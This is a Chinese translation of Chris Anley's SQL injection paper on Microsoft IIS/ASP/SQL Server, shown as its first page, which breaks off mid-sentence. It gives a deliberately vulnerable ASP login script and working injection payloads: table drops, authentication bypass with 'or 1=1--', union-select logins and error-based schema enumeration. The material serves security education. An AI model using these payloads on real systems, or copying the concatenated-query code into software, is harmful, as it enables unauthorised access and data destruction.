|
文章作者:Chris Anley(chris@ngssoftware.com) 译文作者:黯魂(ky13)(www.m0ther.cn) 信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
注意:本文始发黯魂博客,后经作者友情提交到邪恶八进制信息安全团队,如需转载请注明来源。另外,由于译者能力水平有限,译文中难免出现不准确,还请指正。译文已经以附件形式上传到本帖。
目录 [摘要].....................................................................3 [介绍].....................................................................3 [利用错误消息获得信息].....................................................7 [平衡深层访问].............................................................12 [xp_cmdshell]............................................................12 [xp_regread].............................................................13 [其他扩展存储过程].......................................................13 [连接的服务器]...........................................................14 [自定义扩展存储过程].....................................................14 [导入文本文件到表中].....................................................15 [使用BCP创建文本文件]....................................................15 [基于SQL-server的ActiveX自动控制脚本]....................................15 [存储过程].................................................................17 [高级SQL注入]..............................................................18 [不带引号的字符串].......................................................18 [二次SQL注入]............................................................18 [长度限制]...............................................................20 [绕过检查]...............................................................21 [防御].....................................................................21 [输入确认]...............................................................21 [SQL服务器保障].........................................................23 [参考].....................................................................24 附录A--'SQLCrack'..........................................................25 (sqlcrack.sql)...........................................................25
[摘要]
这篇文档主要讨论普通SQL注入技术的细节,比如应用在流行的微软IIS/ASP/SQL-server平台。它研究的是各种不同的能够使SQL注入到应用程序,数据确认地址以及数据库锁定发布等与这类攻击有关的方法。
此文主要适合以下职业人群阅读:1.与数据库打交道的网络应用程序开发者 2.具有网络应用程序审核职责的安全专家。
[介绍]
结构化查询语言(SQL)是一种用来与相关数据库组合使用的文本化语言.有许多种类的SQL;大多数目前普遍使用的都不严格遵循于SQL-92,以及最近的ANSI标准.典型的SQL执行单元是'查询(Query)',即代表性地返回一个单独的'结果设置(result set)'的声明集合.SQL语句可以修改数据库的结构(使用数据定义语言声明,即"DDL"),操作数据库的内容(使用数据操作语言声明,即"DML").在本文中,我们将明确地讨论Transact-SQL,被微软SQL-server所使用的SQL语言.
SQL注入通常发生在当一个攻击者能够插入一连串的SQL语句到一个被输入到应用程序中的查询语句中时.
一个典型的SQL语句看上去应该是这样的: select id, forename, surname from authors
这个语句将从arthors表中查到id,forename,surname这些所有行的内容.'result set'对"authors"能够进行像这样的明确限制: select id, forename, surname from authors where forename = 'john' and surname = 'smith'
这儿需要注意的一个关键点是,字面上的'john'和'smith'被单引号所隔开.但恰好'forename'和'surname'这2行又被用户提供的输入所汇聚到一起.攻击者可以通过输入自己构造的值来注入到SQL查询语句中: Forename: jo'hn Surname: smith
查询字符串就变成了这样: select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
当数据库尝试运行查询语句时,很可能返回一个错误: Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'hn'.
出错的原因是插入的单引号字符中断了单引号隔开的数据.然后数据库会试着执行'hn'并且失败.如果攻击者刻意输入这样的语句: Forename: jo'; drop table authors-- Surname:
authors表将被删除,至于为什么我们等会告诉大家。
看上去好像只要从输入中过滤掉单引号,或者通过一些方法避开它就能处理这个问题了。思路是正确的,然而用这个方法解决的 时候有几处难点,第一,并非所有的用户输入都是这种形式的字符串。假设用户的输入能够通过id选择一个author(随便猜测一个id号),例如,查询可能是这样的: select id, forename, surname from authors where id=1234
在这种情况下,攻击者能在数字输入的末尾添加SQL语句.在其他SQL方法中,会使用不同的分隔符;比方说在Microsoft Jet DBMS engine中,日期会被'#'隔开.第二,刚开始简单地解决它时就避开单引号好像没有必要.接下来我们会说明缘由.
我们用一个ASP登录页面的例子来在更深层次的细节上说明这些难点,这个ASP页面会访问一个SQL-server数据库,并审核虚构应用程序的访问.
下面是处理用户键入的用户名及密码的form页面的代码:
Copy code
<HTML> <HEAD> <TITLE>登录页面</TITLE> </HEAD> <BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_login.asp' method=post> <TABLE> <TR><TD>用户名:</TD><TD><INPUT type=text name=username size=100% width=100></INPUT></TD></TR> <TR><TD>密码:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR> </TABLE> <INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'> </FORM> </FONT> </BODY> </HTML>
这是处理登录的页面process_login.asp的代码: <HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %> <FONT Face='tahoma' color='cc0000'> <H1> <BR><BR> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> <% Response.end return; } else { Session("username") = "" + rso("username"); %> <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS GRANTED<BR> <BR> Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } } function Main() { //Set up connection var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } cn.close(); } Main(); %>
关键点是,页面process_login.asp创建查询字符串的部分: var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";如果用户构造如下的语句: Username: '; drop table users-- Password:
users表将被删除,从而阻止所有用户访问.'--'在Transact-SQL里表示单行注释,';'标志着一个查询语句的结束与另一句的开始.用户名这一行末尾的'--'对于为了防止异常终止情况发生而构造的特殊语句而言是必需的.
这下攻击者便可以使用任何一个他们知道的用户名登录了,他们通常会使用如下的输入: Username: admin'--
这个攻击者能够用如下的输入,以users表里第一个用户的身份登录进去: Username: ' or 1=1--
然后...奇怪的是,攻击者可以用一个完全虚构的用户登录进去: Username: ' union select 1, 'fictional_user', 'some_password', 1--
他能够正常登录的原因是,应用程序认为攻击者指定的constant行是从数据库中重新找回的记录的一部分.
[利用错误消息获得信息]
这个方法是David Litchfield在一次渗透测试的过程中首次发现的;之后他便写了一篇关于描述该方法的文档,后来的作者都参考了它。文档论述了潜在错误消息的机制,使读者能够完全理解,并且潜在地引起了他们的变化。
为了操作数据库中的数据,攻击者往往需要确定数据库以及表的结构。比如说,users表可以用以下的命令创建: create table users( id int, username varchar(255), password varchar(255), privs int ) 并且已有如下的用户插入: insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) insert into users values( 0, 'guest', 'guest', 0x0000 ) insert into users values( 0, 'chris', 'password', 0x00ff ) insert into users values( 0, 'fred', 'sesame', 0x00ff )
让我们看看攻击者想为他自己插入一个用户。如若不清楚users表的结构,他不大可能会成功。即使他很幸运,但仍然不清楚'privs'字段的意义,他可能插入一个'l',得到一个低权限的用户。
对攻击者而言,幸运的是,如果应用程序返回了错误消息(ASP的默认属性),那么他便可以弄明白数据库的整个结构,从而能够获得任何能够被ASP应用程序连接数据库的帐户所能读取的信息。
(下面的例子使用了提供的样本数据库和ASP脚本来说明该技巧是如何利用的)
首先,攻击者试图通过查询语句确定表名和列名,为此,他使用select声明的子句having: Username: ' having 1=1--
这将导致如下的错误:
Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35
现在攻击者知道了表名和第一列的名字,他还能够通过group by子句继续查询剩下的列名: Username: ' group by users.id having 1=1--
(同样导致了错误...)
Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35
最后攻击者到达了username后面: ' group by users.id, users.username, users.password, users.privs having 1=1--
...没有再出现错误,功能上等价于: select * from users where username = ''
所以现在攻击者知道了只有users表,以及按照如下次序排列的列'id, username, password, privs'.
这对他确定每列值的类型很有用,不过还能使用"类型转换"错误消息来达到同样的目的: Username: ' union select sum(username) from users--
上面的语句会让SQL-server服务器在确认username类型是否等于sum之前尝试应用sum子句.服务器返回如下结果:
Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35
告诉了我们username的类型是varchar.另一方面,如果我们尝试计算数字类型的sum值,错误消息将告诉我们这2行的数字域不匹配: Username: ' union select sum(id) from users--
Quote:
Mic[1] [2] [3] 下一页 |